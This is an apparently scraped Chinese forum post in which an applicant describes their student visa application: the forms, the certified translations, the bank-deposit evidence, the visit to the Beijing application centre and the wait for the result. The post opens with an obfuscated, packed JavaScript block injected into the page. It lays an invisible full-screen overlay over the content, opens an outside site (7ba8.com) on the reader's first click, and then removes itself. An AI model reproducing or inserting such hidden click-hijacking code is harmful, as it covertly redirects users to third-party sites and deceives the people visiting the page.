<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一、提交时间：8月5日
6日转到大使馆
二、三份表：checklist word版本机填，VAF9在线填写并网上打印出来，appendix 8 word版本 机填
三、翻译：材料有学位证，毕业证，存折，存单。
按照规定：All translated documents must bear the following information:
所有的翻译文件都必须包括以下信息：
a) Full name of translator
翻译者的全名
b) Name of the organisation where translator works
翻译者所在单位的名称
c) Full address and contact details of the organisation
该单位的地址和联系方式
d) Details of qualification of the translator
翻译者的证书的详细信息
e) Signature of the translator
翻译者的签字
f)
Date of the translation 翻译日期
我当时与翻译中心的人商量，用有他们单位抬头的A4纸将所有材料打印出来，由于抬头有翻译者所在单位的名称，地址，联系方式，而且都是中英文的，这样就满足了b、c的要求，然后每张纸务必有译者的签字（注：签名是中文的）及日期，这样就满足了a、e、f，最后关于证书这条，我要了译者的笔译证书，把证书复印了，然后让译者在上面签了名，我想材料翻译应该过关了，到北京的时候，工作人员帮我整理材料时，我问她我的翻译符合要求吗，因为有些人是来等工作人员把材料调出来，然后当场在application center那里翻译的，工作人员回答凑合= =
四、资金证明：
我提交了一本存折，一张定期存单，但对于资金控制权这个我有些担心，因为我的所有资金都是在签证前5天才存入自己名下，没有取出过钱，就开存款证明了，不过活期存折的钱不是一次性存入，是分三批存入，我觉得这应该看起来比较合理吧，也没有再管什么控制权的问题。存款证明只要看清名字的拼音写对，钱数写对就可以了，由于存折存单都没有身份证信息，签证时也没有要求提交身份证，所以存款证明可以没有身份证的信息。
五、签证中心提交材料流程：
拿好所有材料，网上预约好时间，我背着自己及家人的希望，踏上了去北京的列车，由于家在西北，去北京坐火车要18个小时左右，在车上我始终不敢离开自己的背包，不过幸好有爸爸陪着，一路聊天，感觉很快就到了北京。那天中午，我们刚下车就直奔东方银座，天灰蒙蒙的，我的心一直在跳，不知道为什么这么紧张，脑中反复在想材料还有什么不妥的地方，接待我们的武警叔叔车技很好，不过到了东方银座门前，我们还是饶了很多弯才进去，由于那边立交桥多，车过不去，我看看时间，下午1：20，离我预约的时间还有10分钟，我和爸爸坐上电梯，这个时候我的心还在跳，到了申请中心门前，只容许我一个人进去，爸爸只能在等待室等我，我拿出了预约单，接待员说你可真准时啊，有预约我一进去就被安排接待交材料了，工作人员整理完我的材料给了一个黑色的包，我就到另一边交费处等待交费，这个过程是整个申请中最漫长的了，我偷偷把黑包打开，再次确认所有的材料都已提交，被工作人员发现，很不爽地提醒我，这是我们整理好的，你要是再翻乱了到时就不好了。我满怀歉意的笑笑，趁她不注意再继续翻查，终于心里踏实了，等待交钱的时候，居然看到一个长的很像黄磊的人！！！我对旁边的MM说，那不是黄磊吗？黄磊交完材料，居然坐到了我后面，我忍不住回头看看，周边的人也开始小声猜测，有个MM过来要签名了，黄磊看了下MM拿的纸，让我签你毕业证上啊？哇，大家都小声哗然了下，果真是他！
我还来不及追星，交了钱，拿了收据，就来到生物指纹提交室，我手指有些脱皮，按了很多次都不清楚，不过工作人员态度十分好，我就试了7、8次吧，工作人员说可以了，坐下照相，整个申请过程就结束了。
我的心也轻松了下来，这又回到交费处那边，问黄老师要了签名，出门到接待室，爸爸说好快，爷俩欣欣然走出了大楼，在北京奥运即将一周年庆典之际玩了两天，很开心。
六、等待结果：
等待的日子是漫长的，提交完材料的当天，我十二点多了还睡不着，总是很紧张，我自认心里素质可以，不知为何这次这么紧张。回到家的日子总是每天安排点事情，然后不忘每晚上网查询，这样渐渐心情也平息了下来，18日照旧，19日状态变成了一串问号，上网一查，才明白原来是变态了，查询英文界面，ready for collection，小激动了下下，打电话给北京的阿姨，我走时给了她一张委托单，我的身份证复印件和收据，明天她就可以去拿了：）
21日晚 12点左右，坐夜航从北京回来的伯伯拿着材料送到了家门口，我虽然有点感冒，头有点烫，拿着1000pass的护照，心里很开心。
附：我提交的全部材料：
Visa letter, conditional offer(学校没有发unconditional offer)，scholarship award，本科毕业证及翻译件，学位证及翻译件，中文成绩单，英文成绩单（学校出的，未翻译），雅思成绩，存折及翻译件，存单及翻译件，存款证明，翻译人员证书复印件。
祝愿所有即将要签证的同学都1000pass，出国万事顺利，希望能带给大家一点点的用处！ |
收藏